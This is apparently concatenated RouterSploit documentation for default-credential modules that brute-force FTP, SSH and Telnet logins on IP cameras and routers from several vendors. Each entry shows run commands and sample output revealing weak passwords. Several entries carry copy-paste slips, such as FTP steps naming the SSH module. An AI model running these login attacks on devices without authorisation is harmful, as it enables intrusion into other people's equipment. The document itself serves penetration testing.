rsf > use creds/cameras/speco/ftp_default_creds
rsf (Speco Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Speco Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Speco Ssh Default Creds (`docs/modules/creds/cameras/speco/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Speco Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/speco/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/speco/ssh_default_creds
rsf (Speco Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Speco Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Speco Telnet Default Creds (`docs/modules/creds/cameras/speco/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Speco Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/speco/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/speco/telnet_default_creds
rsf (Speco Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Speco Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Stardot Ftp Default Creds (`docs/modules/creds/cameras/stardot/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Stardot Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/stardot/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/stardot/ftp_default_creds
rsf (Stardot Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Stardot Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Stardot Ssh Default Creds (`docs/modules/creds/cameras/stardot/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Stardot Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/stardot/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/stardot/ssh_default_creds
rsf (Stardot Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Stardot Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Stardot Telnet Default Creds (`docs/modules/creds/cameras/stardot/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Stardot Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/stardot/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/stardot/telnet_default_creds
rsf (Stardot Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Stardot Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Vacron Ftp Default Creds (`docs/modules/creds/cameras/vacron/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Vacron Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/vacron/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/vacron/ftp_default_creds
rsf (Vacron Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Vacron Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Vacron Ssh Default Creds (`docs/modules/creds/cameras/vacron/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Vacron Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/vacron/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/vacron/ssh_default_creds
rsf (Vacron Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Vacron Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Vacron Telnet Default Creds (`docs/modules/creds/cameras/vacron/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Vacron Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/vacron/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/vacron/telnet_default_creds
rsf (Vacron Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Vacron Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Videoiq Ftp Default Creds (`docs/modules/creds/cameras/videoiq/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against VideoIQ Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/videoiq/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/videoiq/ftp_default_creds
rsf (VideoIQ Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (VideoIQ Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Videoiq Ssh Default Creds (`docs/modules/creds/cameras/videoiq/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against VideoIQ Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/videoiq/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/videoiq/ssh_default_creds
rsf (VideoIQ Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (VideoIQ Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Videoiq Telnet Default Creds (`docs/modules/creds/cameras/videoiq/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against VideoIQ Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/videoiq/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/videoiq/telnet_default_creds
rsf (VideoIQ Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (VideoIQ Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Asmax Ftp Default Creds (`docs/modules/creds/routers/asmax/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Asmax Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/asmax/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/asmax/ftp_default_creds
rsf (Asmax Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asmax Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Asmax Ssh Default Creds (`docs/modules/creds/routers/asmax/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Asmax Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/asmax/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/asmax/ssh_default_creds
rsf (Asmax Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asmax Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Asmax Telnet Default Creds (`docs/modules/creds/routers/asmax/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Asmax Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/asmax/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/asmax/telnet_default_creds
rsf (Asmax Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asmax Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Asus Ftp Default Creds (`docs/modules/creds/routers/asus/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Asus Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/asus/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/asus/ftp_default_creds
rsf (Asus Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asus Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Asus Ssh Default Creds (`docs/modules/creds/routers/asus/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Asus Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/asus/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/asus/ssh_default_creds
rsf (Asus Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asus Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Asus Telnet Default Creds (`docs/modules/creds/routers/asus/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Asus Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/asus/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/asus/telnet_default_creds
rsf (Asus Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asus Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Belkin Ftp Default Creds (`docs/modules/creds/routers/belkin/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Belkin Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/belkin/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/belkin/ftp_default_creds
rsf (Belkin Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Belkin Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Belkin Ssh Default Creds (`docs/modules/creds/routers/belkin/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Belkin Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/belkin/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/belkin/ssh_default_creds
rsf (Belkin Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Belkin Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Belkin Telnet Default Creds (`docs/modules/creds/routers/belkin/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Belkin Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/belkin/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/belkin/telnet_default_creds
rsf (Belkin Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Belkin Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Bhu Ftp Default Creds (`docs/modules/creds/routers/bhu/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Bhu Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/bhu/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/bhu/ftp_default_creds
rsf (Bhu Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Bhu Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Bhu Ssh Default Creds (`docs/modules/creds/routers/bhu/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Bhu Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/bhu/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/bhu/ssh_default_creds
rsf (Bhu Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Bhu Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Bhu Telnet Default Creds (`docs/modules/creds/routers/bhu/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Bhu Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/bhu/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/bhu/telnet_default_creds
rsf (Bhu Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Bhu Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Billion Ftp Default Creds (`docs/modules/creds/routers/billion/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Billion Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/billion/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/billion/ftp_default_creds
rsf (Billion Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Billion Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Billion Ssh Default Creds (`docs/modules/creds/routers/billion/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Billion Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/billion/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/billion/ssh_default_creds
rsf (Billion Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Billion Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

